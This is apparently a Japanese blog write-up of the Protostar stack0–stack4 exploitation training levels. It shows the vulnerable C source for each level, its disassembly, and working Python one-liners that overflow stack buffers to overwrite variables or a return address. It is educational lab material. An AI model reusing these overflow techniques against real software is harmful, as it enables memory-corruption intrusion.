Exploit Exercises Protostar stack0-4 writeup

Exploit ExercisesのProtostarのstack0-4のwriteup

stack0

Protostar Stack0 - Exploit Exercises

問題のコード

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
    printf("you have changed the 'modified' variable\n");
  } else {
    printf("Try again?\n");
  }
}

printf("you have changed the 'modified' variable\n");を実行すればいいっぽい。

$ objdump -M intel -d stack0
...
80483fd:	mov    DWORD PTR [esp+0x5c],0x0 // modified = 0;
8048405:	lea    eax,[esp+0x1c] // esp+0x1c が buffer[64]
8048409:	mov    DWORD PTR [esp],eax
804840c:	call   804830c <gets@plt>

modifiedが esp+0x5c にbuffer[64]がesp+0x1cにあるのが分かる。
bufferに0x40バイトの値をいれるだけ。

$ python -c "print 'A'*65" | ./stack0
you have changed the 'modified' variable

asm見るほどの問題ではなかった。

stack1

Protostar Stack1 - Exploit Exercises

問題のコード

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
    errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
    printf("you have correctly got the variable to the right value\n");
  } else {
    printf("Try again, you got 0x%08x\n", modified);
  }
}

printf("you have correctly got the variable to the right value\n");を実行すればいいっぽい。

$ objdump -M intel -d stack1
...
8048487:	mov    DWORD PTR [esp+0x5c],0x0 // modified = 0;
804848f:	mov    eax,DWORD PTR [ebp+0xc]
8048492:	add    eax,0x4
8048495:	mov    eax,DWORD PTR [eax]
8048497:	mov    DWORD PTR [esp+0x4],eax
804849b:	lea    eax,[esp+0x1c] // esp+0x1c が buffer[64]
804849f:	mov    DWORD PTR [esp],eax
80484a2:	call   8048368 <strcpy@plt>

buffer[64]をoverflowさせて、modifiedに0x61626364、つまりabcdをいれればよい。
ただしリトルエンディアンなので注意。

$ ./stack1 `python -c "print 'A'*64+'dcba'"`
you have correctly got the variable to the right value

asm見るほどの問題ではなかった。

stack2

Protostar Stack2 - Exploit Exercises

問題のコード

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
    errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
    printf("you have correctly modified the variable\n");
  } else {
    printf("Try again, you got 0x%08x\n", modified);
  }

}

printf("you have correctly modified the variable\n");を実行すればいいっぽい。

$ objdump -M intel -d stack2
...
80484a4:	call   804837c <getenv@plt>
80484a9:	mov    DWORD PTR [esp+0x5c],eax // variable = getenv("GREENIE");
...
80484c8:	mov    DWORD PTR [esp+0x58],0x0 // modified = 0;
...
80484d8:	lea    eax,[esp+0x18] // buffer[64]
80484dc:	mov    DWORD PTR [esp],eax
80484df:	call   804839c <strcpy@plt>
80484e4:	mov    eax,DWORD PTR [esp+0x58]
80484e8:	cmp    eax,0xd0a0d0a // if(modified == 0x0d0a0d0a) {

variableがbuffer[64]にstrcpyによって入る。buffer[64]をoverflowさせてmodifiedに0x0d0a0d0aをいれる。

$ GREENIE=`python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"'`
$ ./stack2
you have correctly modified the variable

asm見るほどの問題ではなかった。

stack3

Protostar Stack3 - Exploit Exercises

問題のコード

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
    printf("calling function pointer, jumping to 0x%08x\n", fp);
    fp();
  }
}

win()を実行すればいいっぽい。

$ objdump -M intel -d stack3
...
8048441:	mov    DWORD PTR [esp+0x5c],0x0 // fp = 0;
8048449:	lea    eax,[esp+0x1c] // buffer[64];
804844d:	mov    DWORD PTR [esp],eax
8048450:	call   8048330 <gets@plt>

bufferをoverflowさせて、fpにwinのアドレスをいれる。

$ objdump -d stack3 | grep 'win'
08048424 <win>:
$ python -c 'print "A" * 64 + "\x24\x84\x04\x08"' | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

asm見るほどの問題ではなかった。

stack4

Protostar Stack4 - Exploit Exercises

問題のコード

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

win()を実行すればいいっぽい。

eipをgdbで書き換えれば実行できる。

$ gdb -q stack4
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) break main
Breakpoint 1 at 0x8048411: file stack4/stack4.c, line 15.
(gdb) run
Starting program: /opt/protostar/bin/stack4 

Breakpoint 1, main (argc=1, argv=0xbffffd14) at stack4/stack4.c:15
15	stack4/stack4.c: No such file or directory.
	in stack4/stack4.c
(gdb) set $eip = 0x080483f4
(gdb) c
Continuing.
code flow successfully changed

Program received signal SIGILL, Illegal instruction.
0xb7fd7ffd in ?? () from /lib/libc.so.6

まあ、stack overflowさせて、リターンアドレスをwin()のアドレスに書き換えるのが正攻法だと思うので、それも試してみる。

$ gdb -q stack4
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>:	push   %ebp
0x08048409 <main+1>:	mov    %esp,%ebp
0x0804840b <main+3>:	and    $0xfffffff0,%esp
0x0804840e <main+6>:	sub    $0x50,%esp
0x08048411 <main+9>:	lea    0x10(%esp),%eax
0x08048415 <main+13>: mov    %eax,(%esp)
0x08048418 <main+16>: call   0x804830c <gets@plt>
0x0804841d <main+21>: leave  
0x0804841e <main+22>: ret    
End of assembler dump.
(gdb) break *main+21
Breakpoint 1 at 0x804841d: file stack4/stack4.c, line 16.
(gdb) run
Starting program: /opt/protostar/bin/stack4 
aaaaaaaaaaaa

Breakpoint 1, main (argc=1, argv=0xbffffd14) at stack4/stack4.c:16
16	stack4/stack4.c: No such file or directory.
	in stack4/stack4.c
(gdb) x/2x $ebp
0xbffffc68:	0xbffffce8 0xb7eadc76 // ebp, return address
(gdb) x/24x $esp
0xbffffc10: 0xbffffc20	0xb7ec6165 0xbffffc28 0xb7eada75
0xbffffc20: 0x61616161	0x61616161 0x61616161 0x08048200
0xbffffc30: 0xb7ff1040	0x080495ec 0xbffffc68 0x08048449
0xbffffc40: 0xb7fd8304	0xb7fd7ff4 0x08048430 0xbffffc68
0xbffffc50: 0xb7ec6365	0xb7ff1040 0x0804843b 0xb7fd7ff4
0xbffffc60: 0x08048430	0x00000000 0xbffffce8 0xb7eadc76

0xbffffc20からgets()で取った文字列が入るのが分かる。0xbffffc6cにリターンアドレスがあるので、overflowさせてwin()のアドレスに書き換える。

win()のアドレスを調べる。

$ objdump -d /opt/protostar/bin/stack4 | grep win
080483f4 <win>:

あとは、やるだけ。

$ python -c 'print "a"*76 + "\xf4\x83\x04\x08"' | ./stack4
code flow successfully changed
Segmentation fault

教科書どおりの stack overflow ですね。